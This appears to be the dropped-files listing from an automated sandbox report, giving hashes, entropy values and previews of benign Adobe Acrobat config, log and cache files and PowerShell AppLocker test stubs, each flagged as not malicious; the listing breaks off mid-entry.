Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.247292167232645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfbPtdPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GDV8Ukee9
MD5:	A70EAC3890D04F7D33DAF613DBC67021
SHA1:	389BABF75DA414B45915538B5E47AA72154D4057
SHA-256:	D6290BF02630613BA196AB146DFD1B102DC7F8710092888274C13FC3648926A6
SHA-512:	C53F89E918DBF1AA30ED3F1D7C64DACBF4C5CD7DC1BF107B6A283E2B423F7E0B2E4220D2A67B0FCFC0CC1F32220C79679AA52489EAF56BD4D80DD4332B7BB42E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.246405098029181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJf21rPeUkwRe9:YvXKXgX8HYpvR/ZwHA6G+16Ukee9
MD5:	AFDF98A3B704F368D804496CDADF65C4
SHA1:	24BF21DCA345ADE297F9E1921E6960E268662AB1
SHA-256:	1EB0D7761665A48EFD0ACD36004F48B60F9C0F71B287AAD1038253F1C12C7280
SHA-512:	2A5DBC1418729A3D6632B63BFB5B645E88F1973E95EC2C60C7BC91BC2A4F6D691231D4025829CA76FBB90B9A812A6B37D0BD5FC566985CD76F140EBC940C2772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667906558211762
Encrypted:	false
SSDEEP:	24:Yv6XgX84JhLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSM:YvdX9JhbBgkDMUJUAh8cvMM
MD5:	22B165F4BE6A4D9DEDBFB03E84520392
SHA1:	8B2D97700C095B2E97FAB248D240930802337614
SHA-256:	80F899296BDFEA256D7EF0BBC0EEB9073E05C198EFCCBFDBBDB58D84EF7F1141
SHA-512:	FA4DDFAB6A7967468BD0045FEAA35BC1F0B1F409AAFBE3A3878C4C8939B7CB987C14239AF770F789B5CB24EB97A57ACAB1B69C2B966ABC6065A16144FE977615
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2225975981919035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfshHHrPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GUUUkee9
MD5:	38738585B4300B9C0D1D94267EFBDB66
SHA1:	9FAD15A58DD6D6F934537A0A32031F691D7110BF
SHA-256:	852363B97F0DB85DD65F1246065358E365456AE8FDA5F1C6FDABAF30347095F2
SHA-512:	87F138EF920A7E292CA16919F8E158585C2DF258F9C0BD905BD3D9A2D5E3CD839E2C18771439B32C216C951435E764CC0C206E926375B676535ED56DB891FCAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.243399497814665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJTqgFCrPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GTq16Ukee9
MD5:	B7F11000B487D9423E812118D1ADA3A6
SHA1:	6B29BE3606D8E1F35850A659D0D47645E35A6A86
SHA-256:	5D1EDDA1C6E64E65D296E3E9EDD90419E4808F83D07A9A950B201F44794C73C3
SHA-512:	FFEA272A506710AAD9B5A8AE38BDB8AF1738930F5F1D34DD4B8D44F1A31C3C19C090A1DD08A3A8A755AF8CA3E2E61624AC558F9EA23F8816E0B3EBECB8ADEA0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1454766925099324
Encrypted:	false
SSDEEP:	48:Y2Ovymf9qqxtRe9h/CYLPKZiH2jqdR9O9Y:rQymfYqxtReDeiH7dvwY
MD5:	80C70182C2CC147914FB7FD613C19B1A
SHA1:	5AADF8077E07CB651AA192699BDA8CEC9AFFE0F8
SHA-256:	3134B5D64E223A61CA6E329302E73B46659EC2C2B88CC0ECCAEFD9D25BB1A517
SHA-512:	B91DB99E485F90D73B9DBC490769CCFB0E3F6E47390EB145BA3EA55859788FD64DF60CA118E64915ED68E97979C4E6F5E6FE5D1E78A10EC39B977C3E0335D74F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2731fd37fd49b4b797c9dd8480219a3b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583271000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"82847722ea7a95390e3cf04b0679947e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583271000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b55ac73d5fc642c3f282c3b8ee60f6f8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583271000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b5f5884dbeee990285943671c8a99ad5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583271000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"32fd31f71aa0b8b5385b9ebdda30796f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583271000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d53e9f43d106c753280c2dd1ab9c9be0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3180820588122675
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe3g8tqVr:TGufl2GL7ms9WR1CPmPbPah3rypilIxX
MD5:	F13AA1A9FC6B7AF1897ED41BC0955DC6
SHA1:	5683D3B42E359E2FB6F6E887E51A5CC7EA431914
SHA-256:	CBD9ED3CBADE70299BB4B9B04BEAB0D065DAA3EF294DD91A668D40A1E99A058F
SHA-512:	E2E55807FDDCCFCDA04135D2E150E9C0C4409E85CEF930EBC1349852A9CBAD28115C478E853525655F0E2244B03DD2005492D82BD471FF889E6E21E4206E49EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7768441947022118
Encrypted:	false
SSDEEP:	24:7+tOlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe3g84qVpaVrScVr0InjqLhx4:7MlWR1CPmPbPah36ypilImqFl2GL7ms2
MD5:	B2D9764659467998244D470DA169B1AE
SHA1:	A929FAB0C089707000B32345BCDE07396F0DE056
SHA-256:	F2872E9EECE5CEFDD56F73B4B3649CEBC0C1D701CF8FE09DF9C29F8D4CC29EB2
SHA-512:	1720D1028FED8C93AC6B1589CCE6C1F34BF95325B52AE67C54CF08F2C808D24B23CA217D044F7F2CE2B58CA555E6F17F895B555991C7B4B307E74AC385A187D6
Malicious:	false
Preview:	.... .c......r.0..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgejm+t7YHcsWOSdqVhZGJmgGnYyu:6a6TZ44ADEejm+tbxOBOJm/K
MD5:	406E2B15017CA97F8394FCD537AC8EEC
SHA1:	730DDA16DB25D594402CBDE19F4DBF87BF9B0FD4
SHA-256:	99726A5724F1C68A96A303555BB82EB55092901B7C1482539A1407A6F8E65F63
SHA-512:	CF3D303A4C947A433809342D524E11BDB9E3D6BE0A51D2D0083E4C98BCF3F3A3A1BF7279669C4340F05E94140184A293A0F6AE30F3A6C0FE6ACD7554EA7C0BA6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulpubtlz:NllUAp
MD5:	182BDE53A75B59415B8CA3E3C018E9FB
SHA1:	2F7655897DBA445256F869DD0F1E3993F02B7109
SHA-256:	6E8B9EFB32CF3C2019FBEAEBF237EE7727562370EC47AA31C5D672915F64E1FA
SHA-512:	1D35EFB0FE7EADBDC609AA145213BD895CA29322B0A922566BA8F4BF156CACB197317AD825194D33ED5794D421D25445E25F832B3F0623AE5F38C44A24702303
Malicious:	false
Preview:	@...e...................................<............@..........

C:\Users\user\AppData\Local\Temp\MSIe29b4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5105370742203172
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+3CH:Qw946cPbiOxDlbYnuRKdh3w
MD5:	1E41846A90E068BADD5FAC3524FAC682
SHA1:	D6E113C05116F1B55FF5F39B19C28EEAFE5AA4E2
SHA-256:	56A5F9DDCD214CCCE2FA597EE1809C9DD38DD4EECAD7657B7784790A401A6D08
SHA-512:	5669BF2F4DC57533018CE1828DAFC643F502381C8CA818E70E4584B369DFF247D01B00B5A77D9BE42D572E08C65CA9B846B9BDA4E7ACE5C543FCE8FD17A87668
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.1.4.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_in0nq4lq.dib.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mw2kcw4h.24p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-14-24-542.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346037454391836
Encrypted:	false
SSDEEP:	384:yCeX2qMiEID3jXvuQAO10iEQITsyLj37ErM2o8WpYFakGXSltO3CzQzSL8iwO5Jv:kLp
MD5:	8156AB6BB2CA5DB4B82445C4CD6FB880
SHA1:	6CF13752E392E9DEBAFBBCB6141FD7C382098781
SHA-256:	AF25032EB9220D764A6612F7E01A9BC6A32822A34EC30905234F6EE7EFB1B3BB
SHA-512:	F83A734D0BE6E39ED98AD05B13C4B9DEB61C3DB5165790379431ACC253EB3DE0B5AF910BF951D9F7413FC72A55223570E99183D25F6838E62686D1478F6FF588
Malicious:	false
Preview:	SessionID=2edb90f9-a572-4e12-8735-e4fc79e1e17c.1736583264553 Timestamp=2025-01-11T03:14:24:553-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2edb90f9-a572-4e12-8735-e4fc79e1e17c.1736583264553 Timestamp=2025-01-11T03:14:24:571-0500 ThreadID=7624 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2edb90f9-a572-4e12-8735-e4fc79e1e17c.1736583264553 Timestamp=2025-01-11T03:14:24:571-0500 ThreadID=7624 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2edb90f9-a572-4e12-8735-e4fc79e1e17c.1736583264553 Timestamp=2025-01-11T03:14:24:571-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2edb90f9-a572-4e12-8735-e4fc79e1e17c.1736583264553 Timestamp=2025-01-11T03:14:24:571-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.405554921109939
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbEzFFhgxWR+6rMzORMzR6JQhZcb2Z:ceo4+rsCywX
MD5:	50151BCA95553A66CA835EC6DB5AB35E
SHA1:	29A27FB7CCFB34A8E726822BD1569444B7BB7F5C
SHA-256:	17F8041B2584E1C5AB451263635BE62C6948D4E6F94145D23E33025616535971
SHA-512:	EC9EDFE095BDBD03545AB993D14110DE0E969DA0DE2E4DD8766FDBF712E5A832012207415392B0608DD8453F01AA4192EDD23915037CA1143EFAC97A93288E44
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2ac549c8-5df2-42fa-886a-fc1febab33d5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a6538e9b-8538-4208-805e-d97b0b390998.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ccf4b4a6-22e9-468f-aa8d-cc21ed821afc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
